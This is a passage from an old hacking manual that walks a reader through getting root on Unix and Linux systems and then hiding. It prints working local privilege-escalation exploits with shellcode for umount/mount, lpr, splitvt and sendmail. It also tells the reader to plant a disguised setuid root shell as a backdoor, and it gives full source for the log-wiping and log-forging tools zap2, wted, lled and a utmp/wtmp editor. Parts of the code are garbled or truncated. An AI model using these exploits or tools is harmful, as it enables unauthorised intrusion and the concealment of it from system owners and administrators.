  devel=fopen("phrasing","rb");
  while(!feof(devel))
  { fgets(buffer,sizeof(buffer),devel);
    if(strlen(buffer)>24)
    { strcpy(buffer+strlen(buffer)-24,"\n");
      fputs(gag,stdout);
    }
  }
  fclose(devel);
  remove("phrasing");
}

-------------- cut here

command line : rcb /etc/shadow  or any other file on the system you
can't read ;)

--------------------
Section 3D
Getting /etc/hosts
--------------------

Just a precaution, sometimes you will need to know what other systems
are in the hosts file, or what are all of the ip addresses or different domains
on the system.  Make sure to cat the /etc/hosts file for more information
you might need later.

--------------------------
Chapter IV
Getting the root account
--------------------------
Like I said before all you need is one account in most cases, if you cannot get
root on the system you might want to trade it off to some irc junkie that
just wants to load a bot, for some other account or info that can help you in
your hacking quest.  There will be enough information here so that if you can't
get root access, their system is well kept and probably will be kept up in the
future.  You can always lay the account on the side, put the info in some kind
of log file with some good notes so that you can come back at a later time,
like right when a new exploit comes out ;)

Try to stay out of the system until that time so that you do not risk loosing
the account.  Remember that when you login to an account and can't get root
you will not be able to clean the logs, and the next time the user logs in he
might see a message that says: last login from xxx.com time:0:00 date:xx/xx/xx

------------
Section 4A
Bugs
------------

There are many bugs out there in different programs that you can use to get
root.  It might be a game installed on the system, or even the sendmail
program.  If they do not update their programs on a regular basis, you can
be sure you will be able to get in now, and if not, soon to come.

I will be sure to provide the main exploits and bugs here and other less
used below in the appendix section.  I will make sure here to give you detailed
english terms so that you can exploit root on the system.  But please be sure
to read the sections below, and this manual entirely before proceeding, to be
sure you get started in the right way and not blow you chances of having a
long stay on the system.

------------
Section 4B
Exploits
------------

umount/mount exploit

Look in the /bin directory for a file called umount (or mount),
if you do not find it there do a search for the file like this:

find / -name umount -print -xdev

(you can look for any other file name the same way)

Go to the directory where the file is and do: ls -al um*

If the file has suid perm's you can probably get root.

SUID perm's has the rws for the owner of the file which is root.  What you are
looking for is the (s)

Look here:

victim:/bin# ls -al um*
-rwsr-sr-x   1 root         8888 Mar 21  1995 umount
victim:/bin#

This machine we can get root by a compile on the file below:

umount.c
------ cut here

/* sno.c : Linux realpath exploit
 * Syntax: ./sno N
 *         mount $WOOT 
 *    OR  umount $WOOT
 * N is some number which seems to differ between 4 & 8, if your number is
 * too big, you will get a mount error, if it is too small, it will seg
 * fault.  Figure it out.  (Sometimes N=0 for mount)
 * If you use mount, first thing to do once you get the root shell is rm 
 * /etc/mtab~, if this file exists you can't root with mount until it is 
 * removed.
 * 
 *
 *                                          -ReDragon
 */
#define SIZE 1024

   long get_esp(void)
   {
   __asm__("movl %esp,%eax\n");
   }

   main(int argc, char **argv)
   {
   char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
   int a,r;
   char *ptr;
   long *addr_ptr;
   char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
   char *exec_ptr = execshell;

   r=atoi(argv[1]);  
   ptr = env;
   memcpy(ptr,"WOOT=",5); /* set environment variable to use */
   ptr += 5;              

   for(a=0;a
#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
---------- cut here

***************************
Here is the BSD version
***************************

lpr.bsd.c
--------------------------------------------------------- cut here
#include 
#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] =
   "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
   "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
   "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
   "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
--------- cut here

Now just compile it and chmod it +x, and run it.

Watch this one on the group file owner.  Any file you copy will have
group owner as lp, make sure you chgrp root filename on any file you
write.  Always be watching the user groups with ls -l and if you changed
any change them back like this:

chgrp groupname filename

It is a good idea to use this exploit ONLY to get the root access, then
just copy bash or sh to another file name on the system somewhere and make
it root root, suid:  Group owner and File owner root, then chmod it +s

This will give you root access in the future as gid and uid root, without using
the lp group.  Make sure you name it something that looks like it should be
running as a root process somewhere ;)

*****************
Here is another that is still around after a while, look for SUID perm's
on a file /usr/bin/splitvt

If it has suid perm's use this file below, but be sure to read the directions
after the exploit:
****************************************
sp.c
-------------------------------------------- cut here
/*
 *            Avalon Security Research
 *			    Release 1.3
 *			     (splitvt)
 *
 * Affected Program: splitvt(1)
 *
 * Affected Operating Systems: Linux 2-3.X
 *
 * Exploitation Result: Local users can obtain superuser privileges.
 *
 * Bug Synopsis: A stack overflow exists via user defined unbounds checked
 * user supplied data sent to a sprintf(). 
 *
 * Syntax: 
 * crimson~$ cc -o sp sp.c
 * crimson~$ sp
 * bash$ sp
 * bash$ splitvt
 * bash# whoami
 * root
 *
 * Credit: Full credit for this bug (both the research and the code)
 * goes to Dave G. & Vic M.  Any questions should be directed to
 * mcpheea@cadvision.com . 
 *
 * ----------------------------------------------------------------------------
 */


long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main()
{
  char eggplant[2048];
  int a;
  char *egg;
  long *egg2;
  char realegg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  char *eggie = realegg;

  egg = eggplant;

  *(egg++) = 'H';
  *(egg++) = 'O';
  *(egg++) = 'M';
  *(egg++) = 'E';
  *(egg++) = '=';

  egg2 = (long *)egg;

  for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;

  egg=(char *)egg2;

  for (a=0;a<0x40;a++) *(egg++) = 0x90;

  while (*eggie)
    *(egg++) = *(eggie++);
  *egg = 0; /* terminate eggplant! */

  putenv(eggplant);

  system("/bin/bash");
}

-------------- cut here

Ok this is how splitvt works:

1. Compile the file
2. Run the sp file
3. Run splitvt

Before you run the file:   whoami {press enter}
                           username
After you run the exploit: whoami
                           root

*******************************************************

Now if all of these have not got you root, try sm.sh.  This is a sendmail
bug that works with 8.73 to 8.83 (maybe some others)

Here is the script:

sm.sh
---------- cut here
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c

cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
cd /tmp
sh
------------ cut here

Just chmod the file +x like this

chmod +x sm.sh

1. Run the file
2. It will take you to the /tmp directory
3. type ls -l and see if you have a SUID sh file there, if you do, type
   whoami, if not root, run the file ./sh, now see if you are root ;)

I will add many more scripts in the appendix, but these should be the best
at this time to get root access on linux or BSD, if you need another BSD
exploit try the crontab exploit for BSD in the appendix.
****************************************************************************

--------------------------
Chapter V
Making yourself invisible
--------------------------

The whole point of this hacking stuff is that you continue to have access to as
many points of information as possible.  If you do stupid things, of fail just
once to clean your utmp or wtmp, xferlog's, etc ... you can loose access to the
system.  Make yourself a regular order to follow and learn each system well!

Become part of the system, and take many notes if you are doing many systems
at once.  But remember make yourself a routine.  Have your set routine of
taking your time to clean any presence of your login, transfers, etc.  Do NOT fail
in this one thing or you will loose access and possibly face some sort of
charges.

----------------------------
Section 5A
Zap2 (for wtmp/lastlog/utmp)
----------------------------

There are different log cleaning programs out there, but the best of these
is zap2.  I compile mine to be named z2.

z2 will be run right after you get root access.  This will want to be one of
the fastest things you run.  (you never know)

You might want to do a finger @host.xxx to see who is on now, look at the idle
time of root or admin accounts to see if they are away doing something.

Login, and as soon as you get on, type w, to see idle time and who is on, but
at the same time you are looking at that be typing your root access command
that you should have waiting somewhere nested in the system.  As soon as you
get your root access, type ./z2 username-u-logged-in-as

Now you are safer then you were.  Do a w or who command to see that you are
gone from the utmp.  If you ftp, or do other things you might have to use
other programs I will include in the next section called wted and lled.

Lets finish with this z2 first.  You will have to see where each file is in
the system and edit z2.c to include the right location of these files

Here is the area you will look for right at the top of the file:

#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

Most of the systems I login to are:

#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"


But you do your own look around to see were the files are.  Also /var/log:
is a regular location.

Add the log locations for each system, compile the file, and you are all ready
to be invisible right after the login using z2

Here is the .c file

z2.c
--------------------------- cut here
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
 
main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}
--------------------------- cut here

---------------
Section 5B
Other scripts
---------------

Now we come to the other part of this.  Lets say that after you login, and do
your z2, you need to ftp in to grab a file. (remember NEVER ftp or telnet out)
Ok, you ftp in and grab a few files, or login to another account on the system,
now you will need to use wted.  wted will let you edit the wtmp to remove your
login from the ftp.  You also might need to use the lled (lastlog edit).

Here is the menu if you type ./wted, after setting log locations & compile:

[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
            -h      This help
            -f      Use FILE instead of default
            -a      Show all entries found
            -u      Show all entries for USER
            -b      Show NULL entries
            -e      Erase USER completely
            -c      Erase all connections containing HOST
            -z      Show ZAP'd entries
            -x      Attempt to remove ZAP'd entries completely

So if i ftp to username tsmith I would type wted -x -e tsmith

The program will now prompt you one login at a time for the user tsmith asking
if you want to delete it.  After you delete your login, make sure to
chmod 644 the wtmp.tmp file and then copy it over the top of the wtmp file in
the log directory.  Like this:

1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp

Here is your wted program:

MAKE SURE TO HAVE THE RIGHT PATH TO THE char file below
So make sure you have the right path to the wtmp file.

wted.c
---------------------- cut here
#include 
#include 
#include 
#include 

char *file="/var/adm/wtmp";

main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;iut_name)) || (name=="*") ||
		(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
			printinfo(ptr);
		}
	close(fp);
	}
}

printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ut_name);
printf("%s\t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ut_host);
}

erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
		if (host)
			if (strstr(utmp.ut_host,host)) tot++;
			else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
		if (name) {
                if (strcmp(utmp.ut_name,name)) {cnt++;
			write(fd,&utmp,sizeof(struct utmp));}
		else { 
			if (n>0) {
				n--;cnt++;
				write(fd,&utmp,sizeof(struct utmp));}
			else
			{
			printinfo(&utmp);
			printf("Erase entry (y/n/f(astforward))? ");
			c='a';
			while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
			if (c=='f') {
				cnt++;
				write(fd,&utmp,sizeof(struct utmp));
				printf("Fast forward how many entries? ");
				scanf("%d",&n);}
			if (c=='n') {
				cnt++;
				write(fd,&utmp,sizeof(struct utmp));
				}
			if (c=='y') tot++;
			} 
		      }	}					
        }
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}

remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
		if (utmp.ut_time) {
			cnt++;
			write(fd,&utmp,sizeof(struct utmp));
		}
		else
			tot++;
	}
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}

usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n"); 
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------- cut here

You might also have to clean stuff out of the file /vat/adm/lastlog

For this use the lled.c.  Compile the program and name it lled.

Here is a menu from the program when you type ./lled

[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h      This help
-f      Use FILE instead of default
-a      Show all entries found
-u      Show all entries for USER
-b      Show NULL entries
-e      Erase USER completely
-c      Erase all connections containing HOST
-z      Show ZAP'd entries
-x      Attempt to remove ZAP'd entries completely

It would be good to try to view first using -u, but many times it will not
show your username in the lastlog, but it will still have your host, so I
have found that if you know what to look for you can just type something like:
If my host name that I was coming from was machine.edit.com, I could type

lled -e username -c machine.edit

If you need to view the lastlog your host entry should be at the end of the
file, just type: lled -a

chmod the file lastlog.tmp 644 and copy the file over the top of the lastlog
file in the log directory just like you did above for the wted.

BE SURE TO SET THE PATH FOR YOUR lastlog below!

Ok here is your lled.c
-------------------------- cut here
#include 
#include 
#include 
#include 

char *file="/var/adm/lastlog";

main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;ill_line)) || (name=="*") ||
		(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
			printinfo(ptr);
		}
	close(fp);
	}
}

printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ll_host);
}

erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
        fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
                if (host)
                        if (strstr(utmp.ll_host,host)) tot++;
                        else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
                if (name) {
		if (strcmp(utmp.ll_line,name)) {cnt++;
			write(fd,&utmp,sizeof(struct lastlog));}
		else { 
			if (n>0) {
				n--;cnt++;
				write(fd,&utmp,sizeof(struct lastlog));}
			else
			{
			printinfo(&utmp);
			printf("Erase entry (y/n/f(astforward))? ");
			c='a';
			while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
			if (c=='f') {
				cnt++;
				write(fd,&utmp,sizeof(struct lastlog));
				printf("Fast forward how many entries? ");
				scanf("%d",&n);}
			if (c=='n') {
				cnt++;
				write(fd,&utmp,sizeof(struct lastlog));
				}
			if (c=='y') tot++;
			} 
		      }	}					
        }
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}

remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
        fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
		if (utmp.ll_time) {
			cnt++;
			write(fd,&utmp,sizeof(struct lastlog));
		}
		else
			tot++;
	}
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}

usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n"); 
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------------------------------------------------- cut here

A good perl script for editing utmp, wtmp, and checking processes.
It will also let you insert lines in wtmp.  So if you need to play you
can add clinton.whitehouse.gov logging into port ttyp3 and show he stayed
on the system for a few hours!

Running 'check' will let you know if someone is on the system and not showing
up in the utmp log.  Admins like to hide the fact that they are online
sometimes.  This will allow you to see their connection.  You must be root to
run the script, and they need perl 5.003+ on thier system.  After starting
the script just type help.

Here are some of the basic commands:

starts by loading wtmp

delete user username
delete host hostanme
write

read wtmp
delete user username
delete host hostname
write

do help for the rest ... the best wtmp,wtmp editor around!

Say thankyou i-e ;)

-----------------------start of utmpman.pl
#!/usr/bin/perl -w
#
# Variable defines.
my($utmp_location) = "/var/run/utmp";
my($wtmp_location) = "/var/log/wtmp";
my($shells_location) = "/etc/shells";
my($ttybase) = "tty";
my($ttyrange) = "pqrs";                 # TTYrange standard on most linux systems.
my($ttyports) = "012345657689abcfef";   # TTYports standard on most linux systems.

# Global initializations.
my($active_file) = "";
my(%entries) = {};
my(@cmdline) = ();
my(@shells) = ();

# Display banner.
print "\nutmp Manager v0.8\n\n";

# Access check.
die("utmpman :: You must be root to run this application!\n") unless ($> == 0);

# Read in valid shells.
if (defined($shells_location)) {
  open(SHELLFILE, "<$shells_location");
  @shells = ;
  close(SHELLFILE);
}
# Process "basename" of each shell.
@shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);
                                 
print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells));
readfile("$utmp_location");
print("\nutmpman: $active_file> ");
while () {
  process_cmd(split);
  print("\nutmpman: $active_file> ");
}

sub process_cmd {
  return if (!defined(@_));
  my(@line) = map { lc($_) } @_;
  
  $_ = shift(@line);
  SWITCH: {
        /^check$/     && do {
                           check_func(@line);
                           last SWITCH;
                         };

        /^delete$/    && do {
                           del_func(@line);
                           last SWITCH;
                         };  
                         
        /^help$/      && do {
                           help_func();
                           last SWITCH;          
                         };
                                      
        /^insert$/    && do {
                           ins_func(@line);
                           last SWITCH;
                         }; 
                                      
        /^list$/      && do {
                           list_func(@line);
                           last SWITCH;
                         };

        /^read$/      && do {
                           read_func(@line);
                           last SWITCH;
                         };
                                                                                              
        /^write$/     && do {
                           write_func(@line);
                           last SWITCH;
                         };              
                                                    
        /^quit|exit$/ && exit(0);
        
        # DEFAULT. 
        print ("Invalid command.\n");       
  }
}


# HELP

sub help_func {
  print << "EOM";

utmpManager Help
----------------

Note: -  is an argument.
      - [id=] is a token which expects a value as part of command
        (ie, insert id=p5 user=root 11/23/96). See the insert command.
      - A line is the full name to the tty port, ie ttyp0.
      - An id is the *unique* representation of the port
        (without the tty, etc), ie "p0" (for ttyp0).

  check
    - Perform user consistancy check. Use this to make sure that the data in
      utmp agrees with who is actually on the machine. This is useful in
      determining if a user is online with hidden ports, running nohup'd
      processes, or running iScreen.

  delete -
    - Delete entries #x to #y.

  delete host 
    - Delete *all* entries which match the substring .

  delete line|id 
    - Delete entry containing  or .

  insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
    - Insert an entry into utmp/wtmp files specifying any combination
      of id/line, type, username, host, connection time, and logoff time.
      (LogoffTime only valid for WTMP files.)

  list host 
    - List all entries matching the substring .

  list line|id 
    - List all entries matching  or .

  read utmp|wtmp|
    - Read entries from either default wtmp, default utmp, or an arbitrary
      filename. Note: arbitrary filenames MUST start with either "utmp" or
      "wtmp" to be used with this editor. Rename files *outside* of this
      editor if necessary. If read is executed without any arguments, it
      rereads the last given filename, which is displayed on the prompt.

  write {filename}
    - Write entries to file {filename}. If write is executed without any
      arguments, then entries will be written to the last given filename,
      which is displayed on the prompt.

EOM
}

# DELETE

sub del_func {
  my(@params) = @_;

  if (!push(@_)) {
    print("delete :: Not enough parameters. See \"help\" for syntax.\n");
    return undef;
  } elsif ($params[0] =~ /host|user|id|line/) {
    del_by_data(@_);
  } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
    del_by_range($params[0]);
  } elsif ($params[0] =~ m/^(\d+)$/) {
    del_by_range("$1-$1");
  }
  
  # Renumber list after delete operation.
  resync();
}


sub del_by_range {
  my($range)=shift;
  $range =~ m/(\d+)*-(\d+)*/;
  my($lo, $hi, $count)=($1, $2, 0);
  
  $lo = 0 if (!defined($lo));
  $hi = scalar(keys(%entries)) if (!defined($hi));
  
  foreach (sort( { $a <=> $b } keys(%entries))) {
    if (($_ >= $lo) && ($_ <= $hi)) {
      delete($entries{$_});
      $count++;
    }
  }
  print "$count entries deleted.\n";
}               


sub del_by_data {
  my($op, $data) = @_;
  my($count) = 0;

  if ((length($data) < 5) && ($op eq "host")) {
    print "Must specify at least 5 characters for delete hostmask.\n";
    return undef;
  } elsif (((length($data) > 4) && ($op eq "id"))||
           ((length($data) > 11) && ($op eq "line"))) {
    print "Invalid $op specified.\n";
    return undef;
  }
  # Note: If we are deleting by user, then user must match, *exactly*!
  $data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
  foreach (sort( { $a <=> $b } keys(%entries))) {
    if (%{$entries{$_}}->{$op} =~ m/$data/i) {
      delete($entries{$_});
      ++$count;
    }
  }
  if (!$count) {
    print "No $op entries matching $data.\n";
  } else {
    print "$count entries deleted.\n";
  }
}


# INSERT

# Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
# Date2 Time2 = DateTime2 => (see above)
# user=
# host=
# id= | line=
#
# utmp:
# insert {id=|line=} [type=] [user=] [host=] [DateTime]
# wtmp:
# insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}

sub ins_func {
  my(%cmdopt)={};
  my($datetime1, $datetime2, $gmdate, $gmdate2);

  # Get random pid out of the way.
  $cmdopt{"pid"} = int(rand(32656)+100);
  $cmdopt{"addr"} = pack("a4", "");

  # Get command options.
  foreach (@_) {
    if (/=/) {
      local($key, $value)=split(/=/);
      $cmdopt{$key} = $value;
    } else {
      if (!defined($datetime1)) {
        $datetime1 = $_;
        next;
      }
      if (!defined($datetime2)) {
        $datetime2 = $_ ;
        next;
      }
      print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
      return undef;
    }
  }

  # Check for an illegal pair or illegal option.
  foreach (keys(%cmdopt)) {
    if (!(/^host|id|line|type|user|addr$/)) {
      print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
      return undef;
    }
    if (($_ eq "last") && ($active_file !~  m!/*utmp[^/]*$!i)) {
      print "insert :: LAST option only valid for utmp files.\n";
      return undef;
    }     
  }

  # Get date in seconds since 1970.
  $gmdate = SecsSince1970($datetime1);

  # Get ending date in seconds since 1970.
  $gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));

  if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
    print "insert :: Invalid date specified.\n";
    return undef;
  }

  if (defined($gmdate2)) {
    if ($gmdate2 < $gmdate) {
      print "insert :: First date/time must be *later* than second date/time.\n";
      return undef;
    }
  }

  if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
    print "insert :: Insert by LINE or ID only. Please do not specify both.\n";
    return undef;
  }

  my($op);

  if (!defined($cmdopt{"id"})) {
    $cmdopt{"id"} = $cmdopt{"line"};
    $op = "line";
    if (!($cmdopt{"id"} =~ s/^$ttybase//)) { 
      print "insert :: Invalid line specified.\n"; 
      return undef; 
    }
  } else {
    $cmdopt{"line"} = $ttybase . $cmdopt{"id"};
    $op = "id";
  } 

  if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
    print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n";
    return undef;
  }
    
  my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?  
    (pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
  my($epos1, $npos1, $epos2, $npos2) = ();
  my($oldpos, $count)=("", 0);

  foreach (sort( { $a <=> $b } keys(%entries))) {
    if ($active_file =~ m!/*utmp[^/]*$!i) {
      # Handle utmp insertion by line insertion.
      if (%{$entries{$_}}->{$op} eq $searchdata) {
        printf ("insert :: $op $searchdata already exists at position $_\n");
        # This needs to check every option in %cmdopt for defined or null.
        $count = 0;
        foreach (qw(user host time)) {
          if (defined($cmdopt{$_})) {
            $count++ if ($cmdopt{$_} ne "");
          }
        }
        if (!$count) {
          printf ("insert :: No other data specified. Entry unchanged.\n");
          return undef;
        }
        last;
      }
    } else {
      # Handle wtmp insertion by time position. (Messy)
      $epos1 = $oldpos if (defined($npos1) && !defined($epos1));
      $npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
      last if (!defined($gmdate2) && defined($epos1));
      $epos2 = $oldpos if (defined($npos2)); 
      $npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
      last if (defined($epos2));
    }
